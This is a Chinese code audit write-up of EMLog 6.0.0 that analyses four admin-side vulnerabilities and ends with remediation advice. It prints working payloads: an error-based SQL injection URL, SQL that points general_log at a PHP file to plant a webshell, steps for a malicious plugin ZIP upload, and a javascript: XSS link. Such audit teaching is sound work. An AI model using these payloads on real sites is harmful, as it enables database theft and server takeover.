CMS代码审计之emlog 6.0
字数 1424 2025-08-18 11:37:57

EMLog 6.0.0 代码审计报告与漏洞分析

一、审计概述

本次审计对象为 EMLog 6.0.0 版本 CMS 系统,主要发现了以下四种类型的安全漏洞:

  1. SQL 注入漏洞
  2. 文件上传漏洞
  3. 数据库备份获取 WebShell
  4. 存储型 XSS 漏洞

二、漏洞详细分析

1. SQL 注入漏洞

漏洞位置/admin/comment.php

漏洞分析

  • action=delbyip 时,系统未对 $_GET['ip'] 参数进行过滤
  • 参数直接传递到 delCommentByIp() 函数中
  • comment_model.php 中,$ip 直接拼接到 SQL 语句中,未做任何过滤

关键代码

// comment.php
if ($action == 'delbyip') {
    LoginAuth::checkToken();
    if (ROLE != ROLE_ADMIN) {
        emMsg('权限不足!');
    }
    $ip = isset($_GET['ip']) ? $_GET['ip'] : '';
    $Comment_Model->delCommentByIp($ip);
    // ...
}

// comment_model.php
function delCommentByIp($ip) {
    $sql = "SELECT DISTINCT gid FROM ".DB_PREFIX."comment WHERE ip='$ip'";
    $query = $this->db->query($sql);
    // ...
}

利用条件

  • 需要管理员权限
  • 需要知道有效的 token

利用方法
构造 payload:

/emlog/admin/comment.php?action=delbyip&token=abac6e12c2abe9b29797b64481ef6ed4&ip=127.0.0.1'and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

2. 文件上传漏洞

漏洞位置/admin/plugin.php

漏洞分析

  • action=upload_zip 时,系统允许上传 ZIP 格式的插件
  • 虽然检查了文件后缀是否为 ZIP,但解压后未对文件内容进行安全检查
  • 解压函数要求 ZIP 包中必须包含与文件夹同名的 PHP 文件

关键代码

if ($action == 'upload_zip') {
    LoginAuth::checkToken();
    $zipfile = isset($_FILES['pluzip']) ? $_FILES['pluzip'] : '';
    // ...
    if (getFileSuffix($zipfile['name']) != 'zip') {
        emDirect("./plugin.php?error_f=1");
    }
    $ret = emUnZip($zipfile['tmp_name'], '../content/plugins/', 'plugin');
    // ...
}

// function.base.php
function emUnZip($zipfile, $path, $type = 'tpl') {
    // ...
    case 'plugin':
        $plugin_name = substr($dir, 0, -1);
        $re = $zip->getFromName($dir . $plugin_name . '.php');
        if (false === $re) return -1;
        break;
    // ...
}

利用方法

  1. 创建文件夹 test1,在其中放入 test1.php 恶意文件
  2. 将文件夹压缩为 test1.zip
  3. 在插件上传处上传该 ZIP 文件
  4. 恶意文件将被解压到 /content/plugins/test1/test1.php

3. 数据库备份获取 WebShell

漏洞分析
系统提供了数据库备份功能,可以通过两种方式获取 WebShell:

方法一:SELECT INTO OUTFILE

条件

  • 对 web 目录有写权限
  • 能够使用单引号
  • 知道绝对路径
  • 未配置 secure-file-priv

限制
由于配置了 secure-file-priv,此方法通常不可行

方法二:通过 general_log

条件

  • 对 web 目录有写权限
  • 能够使用单引号
  • 知道绝对路径
  • 能够执行多行 SQL 语句

利用步骤

  1. 执行以下 SQL 语句:
set global general_log='on';
SET global general_log_file='C:/phpStudy/PHPTutorial/WWW/emlog/eval.php';
SELECT '<?php phpinfo();?>';
  1. 访问生成的 eval.php 文件

4. 存储型 XSS 漏洞

漏洞位置/admin/link.php

漏洞分析

  • 在添加链接功能中,siteurl 参数仅经过 addslashes 转义
  • 输出时未进行 HTML 实体编码或过滤
  • 虽然通过正则检查要求 URL 以 httpftp 开头,但可通过 javascript: 协议绕过

关键代码

if ($action == 'addlink') {
    $siteurl = isset($_POST['siteurl']) ? addslashes(trim($_POST['siteurl'])) : '';
    // ...
    if (!preg_match("/^http|ftp.+$/i", $siteurl)) {
        $siteurl = 'http://'.$siteurl;
    }
    $Link_Model->addLink($sitename, $siteurl, $description, $taxis);
    // ...
}

// link_model.php
function addLink($name, $url, $des, $taxis) {
    $sql="insert into ".DB_PREFIX."link (sitename,siteurl,description,taxis) values('$name','$url','$des', $taxis)";
    $this->db->query($sql);
}

利用方法
构造恶意 URL 如:

javascript:alert(1);//

三、修复建议

  1. SQL 注入

    • 对所有用户输入进行严格的过滤和转义
    • 使用预处理语句替代直接拼接 SQL
  2. 文件上传

    • 对解压后的文件内容进行安全检查
    • 限制可上传的文件类型
    • 设置文件权限
  3. 数据库备份

    • 限制数据库备份功能的使用权限
    • 禁用可能导致安全问题的 SQL 语句
  4. XSS 防护

    • 对所有输出到页面的内容进行 HTML 实体编码
    • 使用白名单验证 URL 格式
    • 过滤危险的协议如 javascript:

四、总结

本次审计发现的漏洞大多需要管理员权限才能利用,实际危害有限。但作为代码审计学习案例,这些漏洞展示了常见的安全问题类型和审计方法。建议开发者遵循安全编码规范,对所有用户输入保持警惕,实施多层防御策略。

EMLog 6.0.0 代码审计报告与漏洞分析 一、审计概述 本次审计对象为 EMLog 6.0.0 版本 CMS 系统,主要发现了以下四种类型的安全漏洞: SQL 注入漏洞 文件上传漏洞 数据库备份获取 WebShell 存储型 XSS 漏洞 二、漏洞详细分析 1. SQL 注入漏洞 漏洞位置 : /admin/comment.php 漏洞分析 : 当 action=delbyip 时,系统未对 $_GET['ip'] 参数进行过滤 参数直接传递到 delCommentByIp() 函数中 在 comment_model.php 中, $ip 直接拼接到 SQL 语句中,未做任何过滤 关键代码 : 利用条件 : 需要管理员权限 需要知道有效的 token 利用方法 : 构造 payload: 2. 文件上传漏洞 漏洞位置 : /admin/plugin.php 漏洞分析 : 当 action=upload_zip 时,系统允许上传 ZIP 格式的插件 虽然检查了文件后缀是否为 ZIP,但解压后未对文件内容进行安全检查 解压函数要求 ZIP 包中必须包含与文件夹同名的 PHP 文件 关键代码 : 利用方法 : 创建文件夹 test1 ,在其中放入 test1.php 恶意文件 将文件夹压缩为 test1.zip 在插件上传处上传该 ZIP 文件 恶意文件将被解压到 /content/plugins/test1/test1.php 3. 数据库备份获取 WebShell 漏洞分析 : 系统提供了数据库备份功能,可以通过两种方式获取 WebShell: 方法一:SELECT INTO OUTFILE 条件 : 对 web 目录有写权限 能够使用单引号 知道绝对路径 未配置 secure-file-priv 限制 : 由于配置了 secure-file-priv,此方法通常不可行 方法二:通过 general_ log 条件 : 对 web 目录有写权限 能够使用单引号 知道绝对路径 能够执行多行 SQL 语句 利用步骤 : 执行以下 SQL 语句: 访问生成的 eval.php 文件 4. 存储型 XSS 漏洞 漏洞位置 : /admin/link.php 漏洞分析 : 在添加链接功能中, siteurl 参数仅经过 addslashes 转义 输出时未进行 HTML 实体编码或过滤 虽然通过正则检查要求 URL 以 http 或 ftp 开头,但可通过 javascript: 协议绕过 关键代码 : 利用方法 : 构造恶意 URL 如: 三、修复建议 SQL 注入 : 对所有用户输入进行严格的过滤和转义 使用预处理语句替代直接拼接 SQL 文件上传 : 对解压后的文件内容进行安全检查 限制可上传的文件类型 设置文件权限 数据库备份 : 限制数据库备份功能的使用权限 禁用可能导致安全问题的 SQL 语句 XSS 防护 : 对所有输出到页面的内容进行 HTML 实体编码 使用白名单验证 URL 格式 过滤危险的协议如 javascript: 四、总结 本次审计发现的漏洞大多需要管理员权限才能利用,实际危害有限。但作为代码审计学习案例,这些漏洞展示了常见的安全问题类型和审计方法。建议开发者遵循安全编码规范,对所有用户输入保持警惕,实施多层防御策略。